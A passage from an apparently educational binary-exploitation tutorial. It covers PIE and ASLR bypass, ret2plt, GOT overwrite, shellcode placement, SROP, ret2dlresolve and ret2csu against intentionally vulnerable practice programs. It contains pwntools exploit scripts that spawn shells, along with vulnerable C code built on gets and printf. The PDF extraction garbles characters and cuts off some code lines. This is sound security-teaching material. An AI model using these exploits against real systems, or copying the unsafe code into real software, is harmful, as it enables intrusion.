Operating Systems keep track of page tables which point to each section of
memory and de!ne the permissions for each section, similar to segmentation.
Checking the base address ends in 000 should probably be the !rst thing you do
if your exploit is not working as you expected.
Not to mention that the ROP capabilities are incredibly powerful as well.
The Source
pie-32.zip
3KB archive
PIE - 32-bit
#include <stdio.h>
int main() {
vuln();
return 0;
}
void vuln() {
char buffer[20];
gets(buffer);
}
void win() {
puts("PIE bypassed! Great job :D");
}
Pretty simple - we print the address of main , which we can read and calculate
the base address from. Then, using this, we can calculate the address of win()
itself.
Analysis
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 65 of 554
Cybersecurity Notes 5/3/25, 16:17
Let's just run the script to make sure it's the right one :D
$ ./vuln-32
Main Function is at: 0x5655d1b9
Exploitation
First, let's set up the script. We create an ELF object, which becomes very useful
later on, and start the process.
Now we want to take in the main function location. To do this we can simply
receive up until it (and do nothing with that) and then read it.
p.recvuntil('at: ')
main = int(p.recvline(), 16)
Since we received the entire line except for the address, only the address will come
up with p.recvline() .
Now we'll use the ELF object we created earlier and set its base address. The
sym dictionary returns the o"sets of the functions from binary base until the
base address is set, after which it returns the absolute address in memory.
return 0x11b9 + the base address. So, essentially, we're subtracting the o"set of
main from the address we leaked to get the base of the binary.
payload = b'A' * 32
payload += p32(elf.sym['win'])
p.sendline(payload)
print(p.clean().decode('latin-1'))
By this point, I assume you know how to !nd the padding length and other stu"
we've been mentioning for a while, so I won't be showing you every step of that.
[*] 'vuln-32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process 'vuln-32': pid 4617
PIE bypassed! Great job :D
Awesome!
Final Exploit
p.recvuntil('at: ')
main = int(p.recvline(), 16)
payload = b'A' * 32
payload += p32(elf.sym['win'])
p.sendline(payload)
print(p.clean().decode('latin-1'))
Summary
From the leak address of main , we were able to calculate the base address of
the binary. From this we could then calculate the address of win and call it.
And one thing I would like to point out is how simple this exploit is. Look - it's 10
lines of code, at least half of which is sca"olding and setup.
64-bit
Try this for yourself !rst, then feel free to check the solution. Same source, same
challenge.
pie-64.zip
3KB archive
PIE - 64-bit
PIE Bypass
Using format string
The Source
pie-fmtstr.zip
3KB archive
#include <stdio.h>
void vuln() {
char buffer[20];
gets(buffer);
}
int main() {
vuln();
return 0;
}
void win() {
puts("PIE bypassed! Great job :D");
}
Unlike last time, we don't get given a function. We'll have to leak it with format
strings.
Analysis
$ ./vuln-32
Everything's as we expect.
Exploitation
Setup
PIE Leak
$ ./vuln-32
What's your name?
%p %p %p %p %p
Nice to meet you 0xf7eee080 (nil) 0x565d31d5 0xf7eb13fc 0x1
3rd one looks like a binary address, let's check the di"erence between the 3rd
leak and the base address in radare2. Set a breakpoint somewhere after the
format string leak (doesn't really matter where).
$ r2 -d -A vuln-32
We can see the base address is 0x565ef000 and the leaked value is
0x565f01d5 . Therefore, subtracting 0x1d5 from the leaked address should give
us the binary. Let's leak the value and get the base address.
p.recvuntil('name?\n')
p.sendline('%3$p')
p.recvuntil('you ')
elf_leak = int(p.recvline(), 16)
payload = b'A' * 32
payload += p32(elf.sym['win'])
p.recvuntil('message?\n')
p.sendline(payload)
print(p.clean().decode())
Final Exploit
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 71 of 554
Cybersecurity Notes 5/3/25, 16:17
Final Exploit
p.recvuntil('name?\n')
p.sendline('%3$p')
p.recvuntil('you ')
elf_leak = int(p.recvline(), 16)
payload = b'A' * 32
payload += p32(elf.sym['win'])
p.recvuntil('message?\n')
p.sendline(payload)
print(p.clean().decode())
64-bit
Same deal, just 64-bit. Try it out :)
pie-fmtstr-64.zip
3KB archive
ASLR
Address Space Layout Randomisation
Overview
ASLR stands for Address Space Layout Randomisation and can, in most cases, be
thought of as libc 's equivalent of PIE - every time you run a binary, libc (and
other libraries) get loaded into a di"erent memory address.
While it's tempting to think of ASLR as libc PIE, there is a key di"erence.
ASLR is a kernel protection while PIE is a binary protection. The main di"erence is
that PIE can be compiled into the binary while the presence of ASLR is completely
dependant on the environment running the binary. If I sent you a binary compiled
with ASLR disabled while I did it, it wouldn't make any di"erent at all if you had ASLR
enabled.
Of course, as with PIE, this means you cannot hardcode values such as function
address (e.g. system for a ret2libc).
When functions !nish execution, they do not get removed from memory; instead,
they just get ignored and overwritten. Chances are very high that you will grab
one of these remnants with the format string. Di"erent libc versions can act very
di"erently during execution, so a value you just grabbed may not even exist
remotely, and if it does the o"set will most likely be di"erent (di"erent libcs
have di"erent sizes and therefore di"erent o"sets between functions). It's
possible to get lucky, but you shouldn't really hope that the o"sets remain the
same.
Instead, a more reliable way is reading the GOT entry of a speci!c function.
Double-Checking
For the same reason as PIE, libc base addresses always end in the hexadecimal
characters 000 .
The Source
aslr.zip
3KB archive
ASLR - 32-bit
#include <stdio.h>
#include <stdlib.h>
void vuln() {
char buffer[20];
gets(buffer);
}
int main() {
vuln();
return 0;
}
void win() {
puts("PIE bypassed! Great job :D");
}
Just as we did for PIE, except this time we print the address of system.
Analysis
$ ./vuln-32
System is at: 0xf7de5f00
Your address of system might end in di"erent characters - you just have a di"erent
libc version
Exploitation
Much of this is as we did with PIE.
Note that we include the libc here - this is just another ELF object that makes
our lives easier.
Parse the address of system and calculate libc base from that (as we did with PIE):
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
Now we can !nally ret2libc, using the libc ELF object to really simplify it for
us:
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
Final Exploit
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
64-bit
Try it yourself :)
aslr-64.zip
3KB archive
ASLR - 64-bit
Using pwntools
If you prefer, you could have changed the following payload to be more
pwntoolsy:
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
binsh = next(libc.search(b'/bin/sh'))
rop = ROP(libc)
rop.raw('A' * 32)
rop.system(binsh)
p.sendline(rop.chain())
The bene!t of this is it's (arguably) more readable, but also makes it much easier
to reuse in 64-bit exploits as all the parameters are automatically resolved for
you.
The PLT and GOT are sections within an ELF !le that deal with a large portion of
the dynamic linking. Dynamically linked binaries are more common than statically
linked binary in CTFs. The purpose of dynamic linking is that binaries do not have
to carry all the code necessary to run within them - this reduces their size
substantially. Instead, they rely on system libraries (especially libc , the C
standard library) to provide the bulk of the fucntionality.
For example, each ELF !le will not carry their own version of puts compiled
within it - it will instead dynamically link to the puts of the system it is on. As
well as smaller binary sizes, this also means the user can continually upgrade their
libraries, instead of having to redownload all the binaries every time a new
version comes out.
Not quite.
The problem with this approach is it requires libc to have a constant base
address, i.e. be loaded in the same area of memory every time it's run, but
remember that ASLR exists. Hence the need for dynamic linking. Due to the way
ASLR works, these addresses need to be resolved every time the binary is run.
Enter the PLT and GOT.
When you call puts() in C and compile it as an ELF executable, it is not actually
Well, as we said, it doesn't know where puts actually is - so it jumps to the PLT
entry of puts instead. From here, puts@plt does some very speci!c things:
• If there is a GOT entry for puts , it jumps to the address stored there.
The GOT is a massive table of addresses; these addresses are the actual locations
in memory of the libc functions. puts@got , for example, will contain the
address of puts in memory. When the PLT gets called, it reads the GOT address
and redirects execution there. If the address is empty, it coordinates with the
ld.so (also called the dynamic linker/loader) to get the function address and
stores it in the GOT.
• Calling the PLT address of a function is equivalent to calling the function itself
• The GOT address contains addresses of functions in libc , and the GOT is
within the binary.
The use of the !rst point is clear - if we have a PLT entry for a desirable libc
function, for example system , we can just redirect execution to its PLT entry and
it will be the equivalent of calling system directly; no need to jump into libc .
The second point is less obvious, but debatably even more important. As the GOT
is part of the binary, it will always be a constant o"set away from the base.
Therefore, if PIE is disabled or you somehow leak the binary base, you know the
exact address that contains a libc function's address. If you perhaps have an
arbitrary read, it's trivial to leak the real address of the libc function and
therefore bypass ASLR.
ret2plt
A ret2plt is a common technique that involves calling puts@plt and passing the
GOT entry of puts as a parameter. This causes puts to print out its own address
in libc . You then set the return address to the function you are exploiting in
order to call it again and enable you to
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 81 of 554
Cybersecurity Notes 5/3/25, 16:17
flat() packs all the values you give it with p32() and p64() (depending on
context) and concatenates them, meaning you don't have to write the packing
functions out all the time
%s format string
This has the same general theory but is useful when you have limited stack space
or a ROP chain would alter the stack in such a way to complicate future payloads,
for example when stack pivoting.
# this part is only relevant if you need to call the function again
# Send it off...
Summary
• The PLT and GOT do the bulk of static linking
• The PLT resolves actual locations in libc of functions you use and stores
them in the GOT
◦ Next time that function is called, it jumps to the GOT and resumes
execution there
• An arbitrary read enables you to read the GOT and thus bypass ASLR by
calculating libc base
Overview
This time around, there's no leak. You'll have to use the ret2plt technique
explained previously. Feel free to have a go before looking further on.
ret2plt.zip
3KB archive
ret2plt - 32-bit
#include <stdio.h>
void vuln() {
puts("Come get me");
char buffer[20];
gets(buffer);
}
int main() {
vuln();
return 0;
}
Analysis
We're going to have to leak ASLR base somehow, and the only logical way is a
ret2plt. We're not struggling for space as gets() takes in as much data as we
want.
Exploitation
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 84 of 554
Cybersecurity Notes 5/3/25, 16:17
Exploitation
All the basic setup
Now we want to send a payload that leaks the real address of puts . As
mentioned before, calling the PLT entry of a function is the same as calling the
function itself; if we point the parameter to the GOT entry, it'll print out it's actual
location. This is because in C string arguments for functions actually take a
pointer to where the string can be found, so pointing it to the GOT entry (which
we know the location of) will print it out.
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
But why is there a main there? Well, if we set the return address to random
jargon, we'll leak libc base but then it'll crash; if we call main again, however, we
essentially restart the binary - except we now know libc base so this time
around we can do a ret2libc.
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
Remember that the GOT entry won't be the only thing printed - puts , and most
functions in C, print until a null byte. This means it will keep on printing GOT
addresses, but the only one we care about is the !rst one, so we grab the !rst 4
bytes and use u32() to interpret them as a little-endian number. After that we
ignore the the rest of the values as well as the Come get me from calling main
again.
From here, we simply calculate libc base again and perform a basic ret2libc:
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'], # exit is not required here, it's just nicer
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Final Exploit
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
64-bit
You know the drill - try the same thing for 64-bit. If you want, you can use
pwntools' ROP capabilities - or, to make sure you understand calling conventions,
be daring and do both :P
ret2plt-64.zip
3KB archive
ret2plt - 64-bit
GOT Overwrite
Hijacking functions
You may remember that the GOT stores the actual locations in libc of
functions. Well, if we could overwrite an entry, we could gain code execution that
way. Imagine the following code:
char buffer[20];
gets(buffer);
printf(buffer);
Not only is there a bu"er over#ow and format string vulnerability here, but say
we used that format string to overwrite the GOT entry of printf with the
location of system . The code would essentially look like the following:
char buffer[20];
gets(buffer);
system(buffer);
Source
got-overwrite-32.zip
3KB archive
#include <stdio.h>
void vuln() {
char buffer[300];
while(1) {
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
puts("");
}
}
int main() {
vuln();
return 0;
}
In!nite loop which takes in your input and prints it out to you using printf - no
bu"er over#ow, just format string. Let's assume ASLR is disabled - have a go
yourself :)
Exploitation
p = process()
Now, to do the %n overwrite, we need to !nd the o"set until we start reading
the bu"er.
$ ./got_overwrite
%p %p %p %p %p %p
0x12c 0xf7fa7580 0x8049191 0x340 0x25207025 0x70252070
$./got_overwrite
%5$p
0x70243525
Yes it is!
p.clean()
p.interactive()
Now, next time printf gets called on your input it'll actually be system !
If the bu"er is restrictive, you can always send /bin/sh to get you into a shell
Final Exploit
p = process()
p.clean()
p.sendline('/bin/sh')
p.interactive()
64-bit
You'll never guess. That's right! You can do this one by yourself.
got-overwrite-64.zip
3KB archive
ASLR Enabled
If you want an additional challenge, re-enable ASLR and do the 32-bit and 64-bit
exploits again; you'll have to leverage what we've covered previously.
got-overwrite-aslr.zip
846B archive
RELRO
Relocation Read-Only
RELRO is a protection to stop any GOT overwrites from taking place, and it does
so very e"ectively. There are two types of RELRO, which are both easy to
understand.
Partial RELRO
Partial RELRO simply moves the GOT above the program's variables, meaning you
can't over#ow into the GOT. This, of course, does not prevent format string
overwrites.
Full RELRO
Full RELRO makes the GOT completely read-only, so even format string exploits
cannot overwrite it. This is not the default in binaries due to the fact that it can
make it take much longer to load as it need to resolve all the function addresses
at once.
Reliable Shellcode
Shellcode, but without the guesswork
Utilising ROP
The problem with shellcode exploits as they are is that the locations of it are
questionable - wouldn't it be cool if we could control where we wrote it to?
Well, we can.
Instead of writing shellcode directly, we can instead use some ROP to take in
input again - except this time, we specify the location as somewhere we control.
Using ESP
If you think about it, once the return pointer is popped o" the stack ESP will
points at whatever is after it in memory - after all, that's the entire basis of ROP.
But what if we put shellcode there?
It's a crazy idea. But remember, ESP will point there. So what if we overwrite the
return pointer with a jmp esp gadget! Once it gets popped o", ESP will point at
the shellcode and thanks to the jmp esp it will be executed!
ret2reg
ret2reg extends the use of jmp esp to the use of any register that happens to
point somewhere you need it to.
Source
reliable_shellcode-32.zip
3KB archive
#include <stdio.h>
void vuln() {
char buffer[20];
gets(buffer);
}
int main() {
vuln();
return 0;
}
Exploitation
Let's get all the basic setup done.
Now we're going to do something interesting - we are going to call gets again.
Most importantly, we will tell gets to write the data it receives to a section of
the binary. We need somewhere both readable and writeable, so I choose the
GOT. We pass a GOT entry to gets , and when it receives the shellcode we send it
will write the shellcode into the GOT. Now we know exactly where the shellcode
is. To top it all o", we set the return address of our call to gets to where we
wrote the shellcode, perfectly executing what we just inputted.
rop = ROP(elf)
rop.raw('A' * 32)
rop.gets(elf.got['puts']) # Call gets, writing to the GOT entry of puts
rop.raw(elf.got['puts']) # now our shellcode is written there, we can co
p.recvline()
p.sendline(rop.chain())
p.sendline(asm(shellcraft.sh()))
p.interactive()
Final Exploit
rop = ROP(elf)
rop.raw('A' * 32)
rop.gets(elf.got['puts']) # Call gets, writing to the GOT entry of puts
rop.raw(elf.got['puts']) # now our shellcode is written there, we can co
p.recvline()
p.sendline(rop.chain())
p.sendline(asm(shellcraft.sh()))
p.interactive()
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 96 of 554
Cybersecurity Notes 5/3/25, 16:17
p.interactive()
64-bit
I wonder what you could do with this.
reliable_shellcode-64.zip
3KB archive
ASLR
No need to worry about ASLR! Neither the stack nor libc is used, save for the ROP.
The real problem would be if PIE was enabled, as then you couldn't call gets as
the location of the PLT would be unknown without a leak - same problem with
writing to the GOT.
Potential Problems
Thank to clubby789 and Faith from the HackTheBox Discord server, I found out
that the GOT often has Executable permissions simply because that's the default
permissions when there's no NX. If you have a more recent kernel, such as
5.9.0 , the default is changed and the GOT will not have X permissions.
As such, if your exploit is failing, run uname -r to grab the kernel version and
check if it's 5.9.0 ; if it is, you'll have to !nd another RWX region to place your
shellcode (if it exists!).
Using RSP
Source
rsp_shellcode.zip
3KB archive
#include <stdio.h>
int test = 0;
int main() {
char input[100];
if(test) {
asm("jmp *%rsp");
return 0;
}
else {
return 0;
}
}
You can ignore most of it as it's mostly there to accomodate the existence of jmp
rsp - we don't actually want it called, so there's a negative if statement.
The chance of jmp esp gadgets existing in the binary are incredible low, but what
you often do instead is !nd a sequence of bytes that code for jmp rsp and jump there
- jmp rsp is \xff\xe4 in shellcode, so if there's is any part of the executable
section with bytes in this order, they can be used as if they are a jmp rsp .
Exploitation
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 98 of 554
Cybersecurity Notes 5/3/25, 16:17
Exploitation
Try to do this yourself !rst, using the explanation on the previous page.
Remember, RSP points at the thing after the return pointer once ret has
occured, so your shellcode goes after it.
Solution
payload = flat(
'A' * 120, # padding
jmp_rsp, # RSP will be pointing to shellcode, so we jump t
asm(shellcraft.sh()) # place the shellcode
)
p.sendlineafter('RSP!\n', payload)
p.interactive()
Limited Space
You won't always have enough over#ow - perhaps you'll only have 7 or 8 bytes.
What you can do in this scenario is make the shellcode after the RIP equivalent to
something like
Where 0x20 is the o"set between the current value of RSP and the start of the
bu"er. In the bu"er itself, we put the main shellcode. Let's try that!
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
The 10 is just a placeholder. Once we hit the pause() , we attach with radare2
and set a breakpoint on the ret , then continue. Once we hit it, we !nd the
beginning of the A string and work out the o"set between that and the current
value of RSP - it's 128 !
Solution
payload = asm(shellcraft.sh())
payload = payload.ljust(120, b'A')
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 128;
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 100 of 554
Cybersecurity Notes 5/3/25, 16:17
p.sendlineafter('RSP!\n', payload)
p.interactive()
We successfully pivoted back to our shellcode - and because all our addresses are
relative, it's completely reliable! ASLR beaten with pure shellcode.
This is harder with PIE as the location of jmp rsp will change, so you might have to
leak PIE base!
ret2reg
Using Registers to bypass ASLR
The reason RAX is the most common for this technique is that, by convention, the
return value of a function is stored in RAX. For example, take the following basic
code:
#include <stdio.h>
int test() {
return 0xdeadbeef;
}
int main() {
test();
return 0;
}
As you can see, the value 0xdeadbeef is being moved into EAX.
Using ret2reg
Source
Any function that returns a pointer to the string once it acts on it is a prime
target. There are many that do this, including stu" like gets() , strcpy() and
fgets() . We''l keep it simple and use gets() as an example.
#include <stdio.h>
void vuln() {
char buffer[100];
gets(buffer);
}
int main() {
vuln();
return 0;
}
Analysis
First, let's make sure that some register does point to the bu"er:
$ r2 -d -A vuln
Now we'll set a breakpoint on the ret in vuln() , continue and enter text .
[0x7f8ac76fa090]> db 0x0040113d
[0x7f8ac76fa090]> dc
hello
hit breakpoint at: 40113d
We've hit the breakpoint, let's check if RAX points to our register. We'll assume
RAX !rst because that's the traditional register to use for the return value.
[0x0040113d]> dr rax
0x7ffd419895c0
[0x0040113d]> ps @ 0x7ffd419895c0
hello
Exploitation
We now just need a jmp rax gadget or equivalent. I'll use ROPgadget for this
and look for either jmp rax or call rax :
There's a jmp rax at 0x40109c , so I'll use that. The padding up until RIP is
120 ; I assume you can calculate this yourselves by now, so I won't bother
showing it.
JMP_RAX = 0x40109c
p.sendline(payload)
p.interactive()
Awesome!
The value of this variable is a pointer to the function that malloc uses
whenever it is called.
Finding One_Gadgets
Luckily there is a tool written in Ruby called one_gadget . To install it, run:
one_gadget libc
For most one_gadgets, certain criteria have to be met. This means they won't all work
- in fact, none of them may work.
Triggering malloc()
Wait a sec - isn't malloc() a heap function? How will we use it on the stack? Well,
you can actually trigger malloc by calling printf("%10000$c") (this allocates
too many bytes for the stack, forcing libc to allocate the space on the heap
instead). So, if you have a format string vulnerability, calling malloc is trivial.
Practise
This is a hard technique to give you practise on, due to the fact that your libc
version may not even have working one_gadgets . As such, feel free to play
around with the GOT overwrite binary and see if you can get a one_gadget
working.
Remember, the value given by the one_gadget tool needs to be added to libc
base as it's just an o"set.
Syscalls
Interfacing directly with the kernel
Overview
A syscall is a system call, and is how the program enters the kernel in order to
carry out speci!c tasks such as creating processes, I/O and any others they would
require kernel-level access.
Browsing the list of syscalls, you may notice that certain syscalls are similar to libc
functions such as open() , fork() or read() ; this is because these functions
are simply wrappers around the syscalls, making it much easier for the
programmer.
Triggering Syscalls
On Linux, a syscall is triggered by the int80 instruction. Once it's called, the
kernel checks the value stored in RAX - this is the syscall number, which de!nes
what syscall gets run. As per the table, the other parameters can be stored in
RDI, RSI, RDX, etc and every parameter has a di"erent meaning for the di"erent
syscalls.
Execve
A notable syscall is the execve syscall, which executes the program passed to it
in RDI. RSI and RDX hold arvp and envp respectively.
The Source
syscalls.zip
715B archive
Syscalls
context.arch = 'amd64'
context.os = 'linux'
elf = ELF.from_assembly(
'''
mov rdi, 0;
mov rsi, rsp;
sub rsi, 8;
mov rdx, 300;
syscall;
ret;
pop rax;
ret;
pop rdi;
ret;
pop rsi;
ret;
pop rdx;
ret;
'''
)
elf.save('vuln')
The binary contains all the gadgets you need! First it executes a read syscall,
writes to the stack, then the ret occurs and you can gain control.
But what about the /bin/sh ? I slightly cheesed this one and couldn't be
bothered to add it to the assembly, so I just did:
Exploitation
RAX: 0x3b
RDI: pointer to /bin/sh
RSI: 0x0
RDX: 0x0
To get the address of the gadgets, I'll just do objdump -d vuln . The address of
/bin/sh can be gotten using strings:
The o"set from the base to the string is 0x1250 ( -t x tells strings to print
the o"set as hex). Armed with all this information, we can set up the constants:
POP_RAX = 0x10000018
POP_RDI = 0x1000001a
POP_RSI = 0x1000001c
POP_RDX = 0x1000001e
SYSCALL = 0x10000015
Now we just need to populate the registers. I'll tell you the padding is 8 to save
time:
payload = flat(
'A' * 8,
POP_RAX,
0x3b,
POP_RDI,
binsh,
POP_RSI,
0x0,
POP_RDX,
0X0,
SYSCALL
)
p.sendline(payload)
p.interactive()
Sigreturn-Oriented
Programming (SROP)
Controlling all registers at once
Overview
What this involves is storing all the register values on the stack. Once the signal is
unblocked, all the values are popped back in (RSP points to the bottom of the
sigreturn frame, this collection of register values).
Exploitation
Using SROP
Source
As with the syscalls, I made the binary using the pwntools ELF features:
context.arch = 'amd64'
context.os = 'linux'
elf = ELF.from_assembly(
'''
mov rdi, 0;
mov rsi, rsp;
sub rsi, 8;
mov rdx, 500;
syscall;
ret;
pop rax;
ret;
''', vma=0x41000
)
elf.save('vuln')
It's quite simple - a read syscall, followed by a pop rax; ret gadget. You can't
control RDI/RSI/RDX, which you need to pop a shell, so you'll have to use SROP.
Exploitation
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 113 of 554
Cybersecurity Notes 5/3/25, 16:17
First let's plonk down the available gadgets and their location, as well as the
location of /bin/sh .
From here, I suggest you try the payload yourself. The padding (as you can see in
the assembly) is 8 bytes until RIP, then you'll need to trigger a sigreturn ,
followed by the values of the registers.
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)
payload += p64(SYSCALL_RET)
Now the syscall looks at the location of RSP for the register values; we'll have to
fake them. They have to be in a speci!c order, but luckily for us pwntools has a
cool feature called a SigreturnFrame() that handles the order for us.
frame = SigreturnFrame()
Now we just need to decide what the register values should be. We want to
trigger an execve() syscall, so we'll set the registers to the values we need for
that:
However, in order to trigger this we also have to control RIP and point it back at
the syscall gadget, so the execve actually executes:
frame.rip = SYSCALL_RET
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Nailed it!
Final Exploit
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 115 of 554
Cybersecurity Notes 5/3/25, 16:17
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
ret2dlresolve
Resolving our own libc functions
Broad Overview
During a ret2dlresolve, the attacker tricks the binary into resolving a function of
its choice (such as system ) into the PLT. This then means the attacker can use the
PLT function as if it was originally part of the binary, bypassing ASLR (if present)
and requiring no libc leaks.
Detailed Overview
Dynamically-linked ELF objects import libc functions when they are !rst called
using the PLT and GOT. During the relocation of a runtime symbol, RIP will jump to
the PLT and attempt to resolve the symbol. During this process a "resolver" is
called.
For all these screenshots, I broke at read@plt . I'm using GDB with the pwndbg
plugin as it shows it a bit better.
The PLT jumps to wherever the GOT points. Originally, before the GOT is updated,
it points back to the instruction after the jmp in the PLT to resolve it.
In order to resolve the functions, there are 3 structures that need to exist within
the binary. Faking these 3 structures could enable us to trick the linker into
resolving a function of our choice, and we can also pass parameters in (such as
/bin/sh ) once resolved.
Structures
There are 3 structures we need to fake.
$readelf -d source
JMPREL
The JMPREL segment ( .rel.plt ) stores the Relocation Table, which maps each
entry to a symbol.
$readelf -r source
The column name coresponds to our symbol name. The offset is the GOT entry
for our symbol. info stores additional metadata.
STRTAB
SYMTAB
typedef struct
{
Elf32_Word st_name ; /* Symbol name (string tbl index) */
Elf32_Addr st_value ; /* Symbol value */
Elf32_Word st_size ; /* Symbol size */
unsigned char st_info ; /* Symbol type and binding */
unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx ; /* Section index */
} Elf32_Sym ;
} Elf32_Sym ;
The most important value here is st_name as this gives the o"set in STRTAB of
the symbol name. The other !elds are not relevant to the exploit itself.
Here we're reading SYMTAB + R_SYM * size (16) , and it appears that the
o"set (the SYMTAB st_name variable) is 0x10 .
If the GOT entry is unpopulated, we push the reloc_offset value and jump to
the beginning of the .plt section. A few instructions later, the dl-resolve()
function is called, with reloc_offset being one of the arguments. It then uses
this reloc_offset to calculate the relocation and symtab entries.
Resources
• The Original Phrack Article
• 0ctf's babystack
Exploitation
Source
To display an example program, we will use the example given on the pwntools
entry for ret2dlresolve:
#include <unistd.h>
void vuln(void){
char buf[64];
read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
vuln();
}
Exploitation
pwntools contains a fancy Ret2dlresolvePayload that can automate the
majority of our exploit:
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we p
Now we know where the fake structures are placed. Since I ran the script with the
DEBUG parameter, I'll check what gets sent.
00000000 73 79 73 74 65 6d 00 61 63 61 61 61 a4 4b 00 00 │syst│em·a│caaa│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 ce 04 08 │····│····│····│
00000020 07 c0 04 00 2f 62 69 6e 2f 73 68 00 0a │····│/bin│/sh·│
0000002d
• system is being written to 0x804ce00 - as the debug said the Symbol name
addr would be placed
•
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 123 of 554
Cybersecurity Notes 5/3/25, 16:17
• After that, at 0x804ce0c , the Elf32_Sym struct starts. First it contains the
table index of that string, which in this case is 0x4ba4 as it is a very long way
o" the actual table. Next it contains the other values on the struct, but they
are irrelevant and so zeroed out.
After all the structures we place the string /bin/sh at 0x804ce24 - which, if
you remember, was the argument passed to system when we printed the
rop.dump() :
Final Exploit
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake str
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the
p.interactive()
ret2csu
Controlling registers when gadgets are lacking
The second might not look like a gadget, but if you look it calls r15 + rbx*8 .
The !rst gadget chain allows us to control both r15 and rbx in that series of
huge pop operations, meaning whe can control where the second gadget calls
afterwards.
Note it's call qword [r15 + rbx*8] , not call qword r15 + rbx*8 . This means
it'll calculate r15 + rbx*8 then go to that memory address, read it, and call that
value. This mean we have to !nd a memory address that contains where we want to
jump.
These gadget chains allow us, despite an apparent lack of gadgets, to populate
the RDX and RSI registers (which are important for parameters) via the second
gadget, then jump wherever we wish by simply controlling r15 and rbx to
workable values.
This means we can potentially pull o" syscalls for execve , or populate
parameters for functions such as write() .
You may wonder why we would do something like this if we're linked to libc - why not
just read the GOT? Well, some functions - such as write() - require three
parameters (and at least 2), so we would require ret2csu to populate them if there
was a lack of gadgets.
Exploitation
Source
#include <stdio.h>
int main() {
puts("Come on then, ret2csu me");
char input[30];
gets(input);
return 0;
}
Obviously, you can do a ret2plt followed by a ret2libc, but that's really not the
point of this. Try calling win() , and to do that you have to populate the register
rdx . Try what we've talked about, and then have a look at the answer if you get
stuck.
Analysis
We can work out the addresses of the massive chains using r2, and chuck this all
into pwntools.
[...]
0x00401208 4c89f2 mov rdx, r14
0x0040120b 4c89ee mov rsi, r13
0x0040120e 4489e7 mov edi, r12d
0x00401211 41ff14df call qword [r15 + rbx*8]
0x00401215 4883c301 add rbx, 1
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 127 of 554
Cybersecurity Notes 5/3/25, 16:17
Note I'm not popping RBX, despite the call . This is because RBX ends up being 0
anyway, and you want to mess with the least number of registers you need to to
ensure the best success.
Exploitation
Finding a win()
Now we need to !nd a memory location that has the address of win() written
into it so that we can point r15 at it. I'm going to opt to call gets() again
instead, and then input the address. The location we input to is a !xed location of
our choice, which is reliable. Now we just need to !nd a location.
To do this, I'll run r2 on the binary then dcu main to contiune until main. Now
let's check permissions:
[0x00401199]> dm
0x0000000000400000 - 0x0000000000401000 - usr 4K s r--
0x0000000000401000 - 0x0000000000402000 * usr 4K s r-x
0x0000000000402000 - 0x0000000000403000 - usr 4K s r--
0x0000000000403000 - 0x0000000000404000 - usr 4K s r--
